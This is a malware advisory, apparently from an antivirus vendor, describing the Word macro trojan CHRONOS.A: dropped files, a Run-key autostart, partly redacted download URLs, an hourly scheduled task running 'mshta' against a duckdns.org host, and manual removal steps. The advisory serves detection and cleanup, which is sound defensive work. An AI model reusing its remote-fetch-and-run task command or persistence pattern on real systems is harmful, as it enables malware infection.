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Trojan.W97M.CHRONOS.A

September 20, 2019
 Analysis by: Jay Garcia
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

43,008 bytes

File Type:

DOC

Memory Resident:

Yes

Initial Samples Received Date:

13 Sep 2019

Payload:

Drops files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %Public%\Libraries\unzip.exe
  • %Public%\Libraries\o365.bat
  • %Public%\Libraries\o365.ps1
  • %Public%\Libraries\o365.vbs

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It adds the following processes:

  • chcp 437
  • net pause lanmanserver

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
InstallU9 = %Public%\Libraries\o365.vbs

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://{BLOCKED}3cny8q24s29fenny8q24s8.duckdns.org:443/Iexplore14
  • http://{BLOCKED).{BLOCKED).247.114/JavaCr.jar
  • http://{BLOCKED}.{BLOCKED}.247.114/jre1.8.0_161.zip
  • https://drive.{BLOCKED}e.com/uc?authuser=0&id=1Z9zRslKssoZzqD1miNlJReiPNxRqSi0v&export=download

It adds the following scheduled tasks:

  • Task Name: AutomaticIexplore14
  • Trigger: Every 1 hour
  • Task to be run: "mshta http://{BLOCKED}3cny8q24s29fenny8q24s8.duckdns.org:443/Iexplore14"

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.374.05

FIRST VSAPI PATTERN DATE:

18 Sep 2019

VSAPI OPR PATTERN File:

15.375.00

VSAPI OPR PATTERN Date:

19 Sep 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • InstallU9 = %Public%\Libraries\o365.vbs

Step 5

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • AutomaticIexplore14 -  "mshta http://s8ej573cny8q24s29fenny8q24s8.{BLOCKED}s.org:443/Iexplore14"

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 6

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Public%\Libraries\unzip.exe
  • %Public%\Libraries\o365.bat
  • %Public%\Libraries\o365.ps1
  • %Public%\Libraries\o365.vbs

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.W97M.CHRONOS.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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